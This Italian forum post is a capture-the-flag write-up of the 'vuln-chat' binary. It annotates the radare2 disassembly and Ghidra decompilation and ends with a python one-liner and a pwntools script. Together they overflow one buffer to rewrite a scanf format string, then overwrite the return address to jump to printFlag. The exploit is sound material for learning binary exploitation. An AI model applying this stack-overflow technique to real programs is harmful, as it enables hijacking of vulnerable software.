SPAGHETTI HACKER

  1. VULN CHAT - bash
    log.00b

    Tags
    bugs
    By AKIRA BASHO il 3 Jan. 2023
     
    0 Comments   32 Views
    .
    997aD8Y

    [0x08048470]> s main
    [0x0804858a]> pdf

    int main (int argc, char **argv, char **envp);

    ;var int32_t var_1h @ ebp-0x1
    ;var char *format @ ebp-0x5
    ;var int32_t var_19h @ ebp-0x19
    ;var int32_t var_2dh @ ebp-0x2d

    ebp-0x2d -> var_2dh char[20]
    ebp-0x19 -> var_19h char[20]
    ebp-0x5 -> char* ;format string "%30s"
    ebp-0x1 -> var_1h char

    0x0804858a push ebp
    0x0804858b mov ebp, esp
    0x0804858d sub esp, 0x30 ; 48 byte
    0x08048590 mov eax, dword [obj.stdout] ;obj.stdout__GLIBC_2.0
    0x08048595 push 0x14 ;20
    0x08048597 push 2 ;2
    0x08048599 push 0 ;char *buf
    0x0804859b push eax ;FILE*stream
    0x0804859c call sym.imp.setvbuf ;int setvbuf(FILE*stream, char *buf, int mode, size_t size)

    ;la funzione setvbuf ci permette di definire come uno stream deve essere bufferizzato; in questo caso il nostro stream è lo stdout

    ;stream : il puntatore all'oggetto FILE che identifica lo stream aperto.
    ;buffer : questo è il buffer allocato dall'utente; se è settato a NULL, la funzione automaticamente alloca un buffer di una dimensione specificata, in questo caso 20 byte
    ;mode : questa opzione specifica il modo di buffering; nel nostro caso modo 2, line buffering, in uscita, i dati vengono scritti quando un carattere di nuova riga viene inserito nel flusso o quando il buffer è pieno, se accade prima. In Input, il buffer viene riempito fino al successivo carattere di nuova riga;

    0x080485a1 add esp, 0x10
    0x080485a4 push str.____________Welcome_to_vuln_chat______________ ; 0x8048714 ;"----------- Welcome to vuln-chat -------------" ;const char *s
    0x080485a9 call sym.imp.puts ;int puts(const char *s)

    ;stringa di presentazione della vuln_chat passata alla funzione puts

    0x080485ae add esp, 4
    0x080485b1 push str.Enter_your_username:_ ;0x8048743 ; "Enter your username: " ;const char *format
    0x080485b6 call sym.imp.printf ;int printf(const char *format)

    ;la funzione printf ci invita a inserire lo username.

    0x080485bb add esp, 4
    0x080485be mov dword [format], 0x73303325 ;'%30s'

    ;questo format qui è il problema, perchè questo limite a 30 caratteri non ci permette di sovrascrive l'eip, con l'indirizzo della funzione printFlag.

    0x080485c5 mov byte [var_1h], 0
    0x080485c9 lea eax, [var_19h]
    0x080485cc push eax
    0x080485cd lea eax, [format]
    0x080485d0 push eax ;const char *format
    0x080485d1 call sym.imp.__isoc99_scanf ;int scanf(const char *format)

    ;scanf dello username, lo mettiamo in var_19h; attraverso questo primo scanf andiamo a sovrascrivere il format string, che si trova nello stack subito dopo var_19h, che verrà poi utilizzato dalla seconda scanf; la sovrascriveremo in modo da porter raggiungere con l'overflow del secondo buffer l'eip.

    0x080485d6 add esp, 8
    0x080485d9 lea eax, [var_19h]
    0x080485dc push eax
    0x080485dd push str.Welcome__s__n ;0x8048759 ;"Welcome %s!\n" ; const char *format
    0x080485e2 call sym.imp.printf ;int printf(const char *format)

    ;la vuln_chat tramite la call alla printf mi da il benvenuto.

    0x080485e7 add esp, 8
    0x080485ea push str.Connecting_to_djinn ;0x8048766 ;"Connecting to 'djinn'" ; const char *s
    0x080485ef call sym.imp.puts ;int puts(const char *s)

    ;e con la puts mi dice che sono connesso.

    0x080485f4 add esp, 4
    0x080485f7 push 1 ;1 ; int s
    0x080485f9call sym.imp.sleep ;int sleep(int s)

    ;una sleep di 1 secondo per farmi intendere che c'è stata una elaborazione dopo l'input dello username; in realtà non c'è stato nulla.

    0x080485fe add esp, 4
    0x08048601 push str.____djinn_has_joined_your_chat____ ; 0x804877c ;"--- 'djinn' has joined your chat ---" ; const char *s
    0x08048606 call sym.imp.puts ;int puts(const char *s)

    ;altra fuffa testuale.

    0x0804860b add esp, 4
    0x0804860e push str.djinn:_I_have_the_information._But_how_do_I_know_I_can_trust_you_ ;0x80487a4 ; "djinn: I have the information. But how do I know I can trust you?" ;const char *s
    0x08048613 call sym.imp.puts ;int puts(const char *s)

    ;mi chiede qualcosa per autenticarmi; qui vado ad inserire il secondo buffer per innescare l'overflow e sovrascrivere l'eip con l'indirizzo della funzione printFlag.

    objdump -D -M intel ./vuln-chat | grep printFlag
    0804856b <printflag>:

    0x08048618 add esp, 4
    0x0804861b lea eax, [var_19h]
    0x0804861e push eax
    0x0804861f push str._s:_ ;0x80487e6 ; "%s: " ; const char *format
    0x08048624 call sym.imp.printf ;int printf(const char *format)

    ;stampa di nuovo lo username e mi chiede l'input

    0x08048629 add esp, 8
    0x0804862c lea eax, [var_2dh]
    0x0804862f push eax
    0x08048630 lea eax, [format]
    0x08048633 push eax ; const char *format
    0x08048634 ecall sym.imp.__isoc99_scanf ; int scanf(const char *format)

    ;l'altra stringa che va a mettere nell'altro buffer var_2dh.

    0x08048639 add esp, 8
    0x0804863c push str.djinn:_Sorry._Thats_not_good_enough ; 0x80487ec ; "djinn: Sorry. That's not good enough" ; const char *s
    0x08048641 call sym.imp.puts ; int puts(const char *s)

    ;messaggio di errore.

    0x08048646 add esp, 4
    0x08048649 mov eax, dword [obj.stdout] ; obj.stdout__GLIBC_2.0
    0x0804864e push eax ; FILE *stream
    0x0804864f call sym.imp.fflush ; int fflush(FILE *stream)

    ;flusha lo stdout.

    0x08048654 add esp, 4
    0x08048657 mov eax, 0
    0x0804865c leave
    0x0804865d ret

    ;ed esce.

    undefined4 main(void)

    {
    ebp-0x2d -> var_2dh char[20]
    ebp-0x19 -> var_19h char[20]
    ebp-0x5 -> char*
    ebp-0x1 -> var_1h char, ma è contrassegnato int32_t quindi potrebbe essere 4

    undefined local_31 [20];
    undefined local_1d [20]; // questo è lo username che mi crea l'Errore di segmentazione
    undefined4 local_9;
    undefined local_5;

    setvbuf(stdout,(char *)0x0,2,0x14);
    puts("----------- Welcome to vuln-chat -------------");
    printf("Enter your username: ");
    local_9 = 0x73303325; --> 0x80487e6 //questo è il format string
    local_5 = 0;

    __isoc99_scanf(&local_9,local_1d);

    printf("Welcome %s!\n",local_1d);
    puts("Connecting to \'djinn\'");
    sleep(1);
    puts("--- \'djinn\' has joined your chat ---");
    puts("djinn: I have the information. But how do I know I can trust you?");
    printf("%s: ",local_1d);
    __isoc99_scanf(&local_9,local_31); //qua invece non ci riesco ma dovrebbe farcela?
    puts("djinn: Sorry. That\'s not good enough");
    fflush(stdout);
    return 0;
    }

    ;decompilazione con ghidra.

    ["A"*20]["%60s"]\n["D"*49*][x0804856b]

    ./vuln-chat <<< $(python -c 'import struct; print "A"*20 + "%60s\n" + "D"*49 + struct.pack("I",0x0804856b)')

    from pwn import *
    target = process('./vuln-chat')

    payload = ""
    payload1 = ""
    payload += "A"*20
    payload = payload.encode()
    payload += "%99s\n".encode()
    payload1 += "D"*49
    payload1 = payload1.encode()
    payload += payload1
    payload += p32(0x0804856b)

    target.sendline(payload)
    target.interactive()

    ;exploit in python da riga di comando o con pwntools.

    Edited by Dr. Pepper - 8/12/2023, 22:31
      Share  
     
    .